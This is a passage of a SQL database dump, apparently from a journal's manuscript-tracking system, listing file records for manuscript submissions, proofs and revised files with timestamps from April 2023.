10:11:33',1,3,0),(36360,13624,'13624-Manuscript-2023-04-14-96pg-graphic-completed.pdf',NULL,'2023-04-14 10:15:38',1,3,0),(36361,13623,'13623-Manuscript-2023-04-14-jo7b-graphic-completed.pdf',NULL,'2023-04-14 10:16:06',1,3,0),(36362,13623,'13623-Manuscript-2023-04-14-v0ei.pdf',NULL,'2023-04-14 10:19:32',1,3,0),(36363,13624,'13624-Manuscript-2023-04-14-q9hg.pdf',NULL,'2023-04-14 10:20:00',1,3,0),(36364,13647,'13647-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 13:41:36',1,1,0),(36365,13648,'13648-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 14:02:19',1,1,0),(36366,13604,'13604-ec8s-Manuscript-proof-submission-2023-04-14.docx',NULL,'2023-04-14 14:11:07',1,3,0),(36367,13649,'13649-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 14:36:49',1,1,0),(36368,13650,'13650-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 15:02:35',1,1,0),(36369,13651,'13651-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 15:09:36',1,1,0),(36370,13652,'13652-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 15:17:45',1,1,0),(36371,13653,'13653-0-Manuscript-2023-04-14.pdf',NULL,'2023-04-14 15:20:03',1,1,0),(36372,13654,'13654-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 15:51:40',1,1,0),(36373,13655,'13655-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:47:24',1,1,0),(36374,13656,'13656-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:49:46',1,1,0),(36375,13657,'13657-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:51:20',1,1,0),(36376,13658,'13658-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:52:45',1,1,0),(36377,13659,'13659-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:54:58',1,1,0),(36378,13660,'13660-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:57:07',1,1,0),(36379,13661,'13661-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 16:58:23',1,1,0),(36380,13662,'13662-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 17:44:37',1,1,0),(36381,13663,'13663-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 17:47:07',1,1,0),(36382,13664,'13664-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 17:49:44',1,1,0),(36383,13665,'13665-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 17:52:21',1,1,0),(36384,13666,'13666-0-Manuscript-2023-04-14.docx',NULL,'2023-04-14 18:02:08',1,1,0),(36385,13604,'13604-Manuscript-2023-04-15-ulpf-move-pdf-making.pdf',NULL,'2023-04-15 09:05:14',1,3,0),(36386,13604,'13604-Manuscript-2023-04-15-n2dm-move-pdf-making.docx',NULL,'2023-04-15 09:07:18',1,3,0),(36387,13595,'13595-via4-Manuscript-proof-submission-2023-04-15.rar',NULL,'2023-04-15 09:56:07',1,3,0),(36388,13667,'13667-0-Manuscript-2023-04-15.docx',NULL,'2023-04-15 11:25:50',1,1,0),(36389,13668,'13668-0-Manuscript-2023-04-16.docx',NULL,'2023-04-16 13:49:59',1,1,0),(36390,13635,'13635-Manuscript-2023-04-17-sqw6.pdf',NULL,'2023-04-17 11:06:41',1,3,0),(36391,13636,'13636-Manuscript-2023-04-17-v4d2.pdf',NULL,'2023-04-17 11:06:52',1,3,0),(36392,13637,'13637-Manuscript-2023-04-17-4fp3.pdf',NULL,'2023-04-17 11:07:02',1,3,0),(36393,13638,'13638-Manuscript-2023-04-17-2hmn.pdf',NULL,'2023-04-17 11:07:12',1,3,0),(36394,13669,'13669-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:28:32',1,1,0),(36395,13670,'13670-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:32:38',1,1,0),(36396,13671,'13671-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:36:05',1,1,0),(36397,13672,'13672-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:38:32',1,1,0),(36398,13673,'13673-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:41:20',1,1,0),(36399,13674,'13674-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:48:47',1,1,0),(36400,13675,'13675-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 11:53:36',1,1,0),(36401,13676,'13676-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 12:12:17',1,1,0),(36402,13677,'13677-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 12:15:21',1,1,0),(36403,13678,'13678-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 12:21:08',1,1,0),(36404,13627,'13627-c0in-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:10:47',1,3,0),(36405,13594,'13594-lw96-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:11:52',1,3,0),(36406,13593,'13593-sel8-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:12:59',1,3,0),(36407,13592,'13592-cp8s-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:14:10',1,3,0),(36408,13584,'13584-4gp7-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:15:15',1,3,0),(36409,13679,'13679-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 15:22:11',1,1,0),(36410,13584,'13584-78it-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:23:06',1,3,0),(36411,13494,'13494-2utv-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 15:24:03',1,3,0),(36412,13680,'13680-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 15:25:25',1,1,0),(36413,13681,'13681-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 15:27:39',1,1,0),(36414,13682,'13682-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 15:29:19',1,1,0),(36415,13647,'13647-jwl5-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 16:41:05',1,3,0),(36416,13648,'13648-2lcd-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 16:41:39',1,3,0),(36417,13649,'13649-zhwu-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 16:42:07',1,3,0),(36418,13650,'13650-ihbp-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 16:42:33',1,3,0),(36419,13654,'13654-9epw-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 16:42:59',1,3,0),(36420,13683,'13683-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 17:05:48',1,1,0),(36421,13684,'13684-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 17:07:42',1,1,0),(36422,13685,'13685-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 17:09:26',1,1,0),(36423,13686,'13686-0-Manuscript-2023-04-17.docx',NULL,'2023-04-17 17:11:03',1,1,0),(36424,13646,'13646-01v4-Manuscript-proof-submission-2023-04-17.rar',NULL,'2023-04-17 17:22:38',1,3,0),(36425,13627,'13627-Manuscript-2023-04-18-hbcl-ipfs-23-13627.rar',NULL,'2023-04-18 10:19:41',1,3,0),(36426,13593,'13593-Manuscript-2023-04-18-gjxh-ipfs-23-13593.rar',NULL,'2023-04-18 10:20:20',1,3,1),(36427,13594,'13594-Manuscript-2023-04-18-5lqy-ipfs-23-13594.rar',NULL,'2023-04-18 10:21:10',1,3,1),(36428,13584,'13584-Manuscript-2023-04-18-cx7a-ipfs-23-13584.rar',NULL,'2023-04-18 10:21:40',1,3,1),(36429,13592,'13592-Manuscript-2023-04-18-gmwk-ipfs-23-13592.rar',NULL,'2023-04-18 10:22:09',1,3,1),(36430,13687,'13687-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 10:51:18',1,1,0),(36431,13688,'13688-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 11:39:48',1,1,0),(36432,13646,'13646-Manuscript-2023-04-18-0q5z-iptb-23-13646.rar',NULL,'2023-04-18 11:45:16',1,3,0),(36433,13689,'13689-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 13:03:18',1,1,0),(36434,13689,'13689-1-Manuscript-2023-04-18.docx',NULL,'2023-04-18 13:03:18',1,1,0),(36435,13645,'13645-1tly-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 13:31:05',1,3,0),(36436,13645,'13645-Manuscript-2023-04-18-jw53-ap-team-revised.rar',NULL,'2023-04-18 14:12:23',1,3,1),(36437,13655,'13655-eabt-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 14:23:12',1,3,0),(36438,13656,'13656-94dn-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 14:25:12',1,3,0),(36439,13657,'13657-37rd-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 14:25:50',1,3,0),(36440,13658,'13658-h0qj-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 14:26:19',1,3,0),(36441,13658,'13658-g519-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 14:26:21',1,3,0),(36442,13666,'13666-1raj-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 14:42:12',1,3,0),(36443,13665,'13665-6dcx-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 14:42:29',1,3,0),(36444,13664,'13664-ru2y-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 14:42:54',1,3,0),(36445,13663,'13663-bmlo-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 14:43:11',1,3,0),(36446,13662,'13662-8q4b-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 14:43:26',1,3,0),(36447,13690,'13690-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 14:52:59',1,1,0),(36448,13659,'13659-82de-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 15:04:51',1,3,0),(36449,13660,'13660-sj7v-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 15:07:09',1,3,0),(36450,13691,'13691-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 15:07:23',1,1,0),(36451,13661,'13661-d60x-Manuscript-proof-submission-2023-04-18.docx',NULL,'2023-04-18 15:07:43',1,3,0),(36452,13692,'13692-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 15:36:26',1,1,0),(36453,13587,'13587-4vgo-Manuscript-proof-submission-2023-04-18.rar',NULL,'2023-04-18 15:38:17',1,3,0),(36454,13654,'13654-Manuscript-2023-04-18-jwze-ipft-23-13654.rar',NULL,'2023-04-18 15:40:32',1,3,1),(36455,13649,'13649-Manuscript-2023-04-18-n7t3-ipft-23-13649.rar',NULL,'2023-04-18 15:41:15',1,3,1),(36456,13650,'13650-Manuscript-2023-04-18-lgev-ipft-23-13650.rar',NULL,'2023-04-18 15:41:41',1,3,1),(36457,13648,'13648-Manuscript-2023-04-18-e1qb-ipft-23-13648.rar',NULL,'2023-04-18 15:42:09',1,3,1),(36458,13647,'13647-Manuscript-2023-04-18-ufaw-ipft-23-13647.rar',NULL,'2023-04-18 15:42:44',1,3,1),(36459,13693,'13693-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 15:47:19',1,1,0),(36460,13694,'13694-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 15:54:24',1,1,0),(36461,13695,'13695-0-Manuscript-2023-04-18.docx',NULL,'2023-04-18 16:03:13',1,1,0),(36462,13662,'13662-Manuscript-2023-04-18-6lop-ap-team-revised.rar',NULL,'2023-04-18 16:56:41',1,3,1),(36463,13663,'13663-Manuscript-2023-04-18-1dpn-ap-team-revised.rar',NULL,'2023-04-18 16:57:08',1,3,1),(36464,13664,'13664-Manuscript-2023-04-18-zsi6-ap-team-revised.rar',NULL,'2023-04-18 16:57:38',1,3,1),(36465,13666,'13666-Manuscript-2023-04-18-hjt0-ap-team-revised.rar',NULL,'2023-04-18 16:58:04',1,3,1),(36466,13665,'13665-Manuscript-2023-04-18-ykm5-ap-team-revised.rar',NULL,'2023-04-18 16:58:31',1,3,1),(36467,13646,'13646-Manuscript-2023-04-19-4oid-graphic-completed.pdf',NULL,'2023-04-19 11:16:43',1,3,0),(36468,13696,'13696-0-Manuscript-2023-04-19.docx',NULL,'2023-04-19 13:45:45',1,1,0),(36469,13697,'13697-0-Manuscript-2023-04-19.docx',NULL,'2023-04-19 13:48:29',1,1,0),(36470,13698,'13698-0-Manuscript-2023-04-19.docx',NULL,'2023-04-19 13:51:56',1,1,0),(36471,13699,'13699-0-Manuscript-2023-04-19.docx',NULL,'2023-04-19 13:55:10',1,1,0),(36472,13654,'13654-Manuscript-2023-04-19-qtia-graphic-completed.pdf',NULL,'2023-04-19 16:49:08',1,3,0),(36473,13648,'13648-Manuscript-2023-04-19-0wpn-graphic-completed.pdf',NULL,'2023-04-19 16:49:13',1,3,0),(36474,13647,'13647-Manuscript-2023-04-19-dl16-graphic-completed.pdf',NULL,'2023-04-19 16:49:19',1,3,0),(36475,13650,'13650-Manuscript-2023-04-19-ogij-graphic-completed.pdf',NULL,'2023-04-19 16:49:26',1,3,0),(36476,13649,'13649-Manuscript-2023-04-19-6ue3-graphic-completed.pdf',NULL,'2023-04-19 16:49:31',1,3,0),(36477,13645,'13645-Manuscript-2023-04-19-ndye-graphic-completed.pdf',NULL,'2023-04-19 17:03:59',1,3,0),(36478,13649,'13649-Manuscript-2023-04-19-b9ic.pdf',NULL,'2023-04-19 17:56:08',1,3,1),(36479,13666,'13666-Manuscript-2023-04-19-c6ta-graphic-completed.pdf',NULL,'2023-04-19 17:57:11',1,3,0),(36480,13665,'13665-Manuscript-2023-04-19-xpgq-graphic-completed.pdf',NULL,'2023-04-19 17:57:18',1,3,0),(36481,13664,'13664-Manuscript-2023-04-19-eg1r-graphic-completed.pdf',NULL,'2023-04-19 17:57:24',1,3,0),(36482,13663,'13663-Manuscript-2023-04-19-xcvq-graphic-completed.pdf',NULL,'2023-04-19 17:57:30',1,3,0),(36483,13662,'13662-Manuscript-2023-04-19-uk3i-graphic-completed.pdf',NULL,'2023-04-19 17:57:37',1,3,0),(36484,13654,'13654-Manuscript-2023-04-19-b0j9.pdf',NULL,'2023-04-19 17:57:50',1,3,1),(36485,13650,'13650-Manuscript-2023-04-19-m6jf.pdf',NULL,'2023-04-19 17:58:47',1,3,1),(36486,13647,'13647-Manuscript-2023-04-19-yf1x.pdf',NULL,'2023-04-19 17:59:44',1,3,1),(36487,13648,'13648-Manuscript-2023-04-19-0mfp.pdf',NULL,'2023-04-19 18:00:45',1,3,1),(36488,13666,'13666-Manuscript-2023-04-20-fqok.pdf',NULL,'2023-04-20 10:38:38',1,3,1),(36489,13662,'13662-Manuscript-2023-04-20-sk8j.pdf',NULL,'2023-04-20 10:40:04',1,3,1),(36490,13663,'13663-Manuscript-2023-04-20-6afv.pdf',NULL,'2023-04-20 10:41:16',1,3,1),(36491,13655,'13655-Manuscript-2023-04-20-0gj3-ap-team-revised.docx',NULL,'2023-04-20 11:15:23',1,3,0),(36492,13656,'13656-Manuscript-2023-04-20-sdqa-ap-team-revised.docx',NULL,'2023-04-20 11:15:44',1,3,0),(36493,13657,'13657-Manuscript-2023-04-20-6xva-ap-team-revised.docx',NULL,'2023-04-20 11:16:13',1,3,0),(36494,13658,'13658-Manuscript-2023-04-20-qhbk-ap-team-revised.docx',NULL,'2023-04-20 11:16:36',1,3,0),(36495,13664,'13664-Manuscript-2023-04-20-erk5.pdf',NULL,'2023-04-20 11:20:08',1,3,1),(36496,13665,'13665-Manuscript-2023-04-20-l9tr.pdf',NULL,'2023-04-20 11:20:48',1,3,1),(36497,13612,'13612-wogu-Manuscript-proof-submission-2023-04-20.rar',NULL,'2023-04-20 11:48:27',1,3,0),(36498,13659,'13659-Manuscript-2023-04-20-rmzh-ap-team-revised.docx',NULL,'2023-04-20 11:56:02',1,3,0),(36499,13660,'13660-Manuscript-2023-04-20-r0ec-ap-team-revised.docx',NULL,'2023-04-20 11:56:11',1,3,0),(36500,13661,'13661-Manuscript-2023-04-20-9vsm-ap-team-revised.docx',NULL,'2023-04-20 11:56:20',1,3,0),(36501,13700,'13700-0-Manuscript-2023-04-20.docx',NULL,'2023-04-20 12:01:33',1,1,0),(36502,13627,'13627-Manuscript-2023-04-20-r9aw-graphic-completed.pdf',NULL,'2023-04-20 15:39:37',1,3,0),(36503,13593,'13593-Manuscript-2023-04-20-6ts9-graphic-completed.pdf',NULL,'2023-04-20 15:39:44',1,3,0),(36504,13594,'13594-Manuscript-2023-04-20-az5s-graphic-completed.pdf',NULL,'2023-04-20 15:39:53',1,3,0),(36505,13592,'13592-Manuscript-2023-04-20-mxlt-graphic-completed.pdf',NULL,'2023-04-20 15:40:02',1,3,0),(36506,13584,'13584-Manuscript-2023-04-20-39sw-graphic-completed.pdf',NULL,'2023-04-20 15:40:08',1,3,0),(36507,13612,'13612-Manuscript-2023-04-20-uaz5-ap-team-revised.rar',NULL,'2023-04-20 17:02:44',1,3,1),(36508,13587,'13587-Manuscript-2023-04-20-cxrn-iphsj-23-13587.rar',NULL,'2023-04-20 17:03:09',1,3,1),(36509,13593,'13593-Manuscript-2023-04-20-uhzt.pdf',NULL,'2023-04-20 17:28:11',1,3,1),(36510,13584,'13584-Manuscript-2023-04-20-imy1.pdf',NULL,'2023-04-20 17:29:14',1,3,1),(36511,13592,'13592-Manuscript-2023-04-20-ao2k.pdf',NULL,'2023-04-20 17:30:12',1,3,1),(36512,13594,'13594-Manuscript-2023-04-20-8uxk.pdf',NULL,'2023-04-20 17:31:12',1,3,1),(36513,13701,'13701-0-Manuscript-2023-04-20.docx',NULL,'2023-04-20 17:46:10',1,1,0),(36515,13703,'13703-0-Manuscript-2023-04-21.docx',NULL,'2023-04-21 09:26:58',1,1,0),(36516,13686,'13686-5ryb-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:00:20',1,3,0),(36517,13685,'13685-ikmf-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:01:18',1,3,0),(36518,13684,'13684-zo3r-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:02:06',1,3,0),(36519,13683,'13683-hm4e-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:02:59',1,3,0),(36520,13686,'13686-nxaj-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:06:25',1,3,0),(36521,13685,'13685-3oew-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:07:08',1,3,1),(36522,13684,'13684-z4gm-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:07:59',1,3,0),(36523,13683,'13683-xuyr-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 12:08:40',1,3,0),(36524,13668,'13668-bdjl-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:51:59',1,3,0),(36525,13696,'13696-0u32-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:53:16',1,3,0),(36526,13697,'13697-yq9k-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:54:04',1,3,0),(36527,13698,'13698-lso5-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:54:57',1,3,0),(36528,13699,'13699-wefq-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:55:24',1,3,0),(36529,13696,'13696-7oa6-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:58:09',1,3,0),(36530,13697,'13697-bp0x-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:58:42',1,3,0),(36531,13698,'13698-yi14-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:59:17',1,3,0),(36532,13699,'13699-fjnr-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 13:59:53',1,3,0),(36533,13683,'13683-Manuscript-2023-04-21-zwxc-ap-team-revised.rar',NULL,'2023-04-21 14:36:23',1,3,1),(36534,13684,'13684-Manuscript-2023-04-21-5nev-ap-team-revised.rar',NULL,'2023-04-21 14:36:56',1,3,1),(36535,13686,'13686-Manuscript-2023-04-21-cx1v-ap-team-revised.rar',NULL,'2023-04-21 14:37:26',1,3,1),(36536,13685,'13685-Manuscript-2023-04-21-tg05-ap-team-revised.rar',NULL,'2023-04-21 14:39:10',1,3,1),(36538,13705,'13705-0-Manuscript-2023-04-21.docx',NULL,'2023-04-21 14:44:01',1,1,0),(36539,13706,'13706-0-Manuscript-2023-04-21.docx',NULL,'2023-04-21 14:45:45',1,1,0),(36541,13708,'13708-0-Manuscript-2023-04-21.docx',NULL,'2023-04-21 14:49:28',1,1,0),(36542,13696,'13696-Manuscript-2023-04-21-j82w-ap-team-revised.rar',NULL,'2023-04-21 15:21:23',1,3,1),(36543,13697,'13697-Manuscript-2023-04-21-noz5-ap-team-revised.rar',NULL,'2023-04-21 15:21:52',1,3,1),(36544,13698,'13698-Manuscript-2023-04-21-ztxf-ap-team-revised.rar',NULL,'2023-04-21 15:59:44',1,3,0),(36545,13698,'13698-Manuscript-2023-04-21-kf8n-ap-team-revised.rar',NULL,'2023-04-21 16:00:18',1,3,1),(36546,13668,'13668-Manuscript-2023-04-21-qr0s-ap-team-revised.rar',NULL,'2023-04-21 16:00:47',1,3,1),(36547,13699,'13699-Manuscript-2023-04-21-gdhn-ap-team-revised.rar',NULL,'2023-04-21 16:01:45',1,3,1),(36548,13690,'13690-9dva-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 16:45:39',1,3,0),(36549,13692,'13692-5vsg-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 16:46:57',1,3,0),(36550,13693,'13693-584q-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 16:47:24',1,3,0),(36551,13694,'13694-fpoq-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 16:47:39',1,3,0),(36552,13695,'13695-ifqw-Manuscript-proof-submission-2023-04-21.rar',NULL,'2023-04-21 16:49:38',1,3,0),(36553,13709,'13709-0-Manuscript-2023-04-21.docx',NULL,'2023-04-21 17:23:57',1,1,0),(36554,13620,'13620-8365-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 09:15:10',1,3,0),(36555,13710,'13710-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 11:05:10',1,1,0),(36556,13668,'13668-Manuscript-2023-04-22-gnq0-graphic-completed.pdf',NULL,'2023-04-22 11:29:35',1,3,0),(36557,13699,'13699-Manuscript-2023-04-22-8che-graphic-completed.pdf',NULL,'2023-04-22 11:29:39',1,3,0),(36558,13698,'13698-Manuscript-2023-04-22-t68s-graphic-completed.pdf',NULL,'2023-04-22 11:29:46',1,3,0),(36559,13697,'13697-Manuscript-2023-04-22-av8g-graphic-completed.pdf',NULL,'2023-04-22 11:29:52',1,3,0),(36560,13696,'13696-Manuscript-2023-04-22-rvp1-graphic-completed.pdf',NULL,'2023-04-22 11:30:01',1,3,0),(36563,13651,'13651-rwui-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:44:09',1,3,0),(36564,13705,'13705-opcu-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:45:51',1,3,0),(36565,13705,'13705-ufj1-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:45:53',1,3,0),(36566,13639,'13639-qghn-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:46:12',1,3,0),(36567,13639,'13639-qio0-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:46:13',1,3,0),(36568,13639,'13639-qh08-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 11:46:14',1,3,0),(36569,13713,'13713-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:01:28',1,1,0),(36570,13714,'13714-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:05:19',1,1,0),(36571,13651,'13651-Manuscript-2023-04-22-84lj-ap-team-revised.rar',NULL,'2023-04-22 12:07:56',1,3,1),(36572,13620,'13620-Manuscript-2023-04-22-cet6-ap-team-revised.rar',NULL,'2023-04-22 12:08:24',1,3,1),(36573,13576,'13576-xs04-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:08:29',1,3,0),(36574,13577,'13577-6kcx-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:08:47',1,3,0),(36575,13579,'13579-4hma-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:09:15',1,3,0),(36576,13580,'13580-2eqc-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:09:37',1,3,0),(36577,13581,'13581-bwuj-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:09:56',1,3,0),(36578,13679,'13679-n1i5-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:10:16',1,3,0),(36579,13680,'13680-o30q-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:10:35',1,3,0),(36580,13680,'13680-wdgi-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:10:37',1,3,0),(36581,13681,'13681-ryp8-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:10:58',1,3,0),(36582,13682,'13682-m3in-Manuscript-proof-submission-2023-04-22.rar',NULL,'2023-04-22 12:11:18',1,3,0),(36583,13715,'13715-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:13:50',1,1,0),(36584,13716,'13716-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:20:25',1,1,0),(36585,13717,'13717-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:22:07',1,1,0),(36586,13718,'13718-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:22:26',1,1,0),(36587,13719,'13719-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:25:24',1,1,0),(36588,13720,'13720-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:28:10',1,1,0),(36589,13721,'13721-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:29:58',1,1,0),(36590,13722,'13722-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 12:43:56',1,1,0),(36593,13724,'13724-0-Manuscript-2023-04-22.docx',NULL,'2023-04-22 13:14:37',1,1,0),(36594,13692,'13692-Manuscript-2023-04-24-bk0g-ap-team-revised.rar',NULL,'2023-04-24 09:21:41',1,3,1),(36595,13693,'13693-Manuscript-2023-04-24-7b2r-ap-team-revised.rar',NULL,'2023-04-24 09:22:15',1,3,1),(36596,13690,'13690-Manuscript-2023-04-24-jydp-ap-team-revised.rar',NULL,'2023-04-24 09:22:48',1,3,1),(36597,13695,'13695-Manuscript-2023-04-24-cmh1-ap-team-revised.rar',NULL,'2023-04-24 09:23:25',1,3,1),(36598,13694,'13694-Manuscript-2023-04-24-rafg-ap-team-revised.rar',NULL,'2023-04-24 09:24:02',1,3,1),(36599,13651,'13651-Manuscript-2023-04-24-1t3u-graphic-completed.pdf',NULL,'2023-04-24 10:51:06',1,3,0),(36600,13620,'13620-Manuscript-2023-04-24-5jzt-graphic-completed.pdf',NULL,'2023-04-24 11:59:18',1,3,0),(36601,13612,'13612-Manuscript-2023-04-24-qbfy-graphic-completed.pdf',NULL,'2023-04-24 11:59:32',1,3,0),(36602,13587,'13587-Manuscript-2023-04-24-4t21-graphic-completed.pdf',NULL,'2023-04-24 11:59:46',1,3,0),(36603,13679,'13679-Manuscript-2023-04-24-lie4-ap-team-revised.rar',NULL,'2023-04-24 12:08:12',1,3,1),(36604,13581,'13581-Manuscript-2023-04-24-utd7-IPJUS-23-13581.rar',NULL,'2023-04-24 12:08:40',1,3,1),(36605,13580,'13580-Manuscript-2023-04-24-20se-IPJUS-23-13580.rar',NULL,'2023-04-24 12:09:09',1,3,1),(36606,13680,'13680-Manuscript-2023-04-24-sb18-ap-team-revised.rar',NULL,'2023-04-24 12:09:35',1,3,1),(36607,13681,'13681-Manuscript-2023-04-24-fz2v-ap-team-revised.rar',NULL,'2023-04-24 12:10:45',1,3,1),(36608,13576,'13576-Manuscript-2023-04-24-zqod-IPJUS-23-13576.rar',NULL,'2023-04-24 12:11:11',1,3,1),(36609,13579,'13579-Manuscript-2023-04-24-m469-IPJUS-23-13579.rar',NULL,'2023-04-24 12:12:04',1,3,1),(36610,13577,'13577-Manuscript-2023-04-24-hb7l-ap-team-revised.rar',NULL,'2023-04-24 12:12:29',1,3,1),(36611,13682,'13682-Manuscript-2023-04-24-tjkd-ap-team-revised.rar',NULL,'2023-04-24 12:13:01',1,3,1),(36615,13726,'13726-0-Manuscript-2023-04-24.docx',NULL,'2023-04-24 13:45:17',1,1,0),(36616,13606,'13606-m5ez-Manuscript-proof-submission-2023-04-24.zip',NULL,'2023-04-24 13:59:29',1,3,0),(36617,13613,'13613-ehfw-Manuscript-proof-submission-2023-04-24.zip',NULL,'2023-04-24 14:00:01',1,3,0),(36618,13628,'13628-4571-Manuscript-proof-submission-2023-04-24.zip',NULL,'2023-04-24 14:04:57',1,3,0),(36619,13513,'13513-q16m-Manuscript-proof-submission-2023-04-24.docx',NULL,'2023-04-24 14:25:48',1,3,0),(36620,13629,'13629-seg7-Manuscript-proof-submission-2023-04-24.zip',NULL,'2023-04-24 14:59:06',1,3,0),(36621,13630,'13630-i4rz-Manuscript-proof-submission-2023-04-24.zip',NULL,'2023-04-24 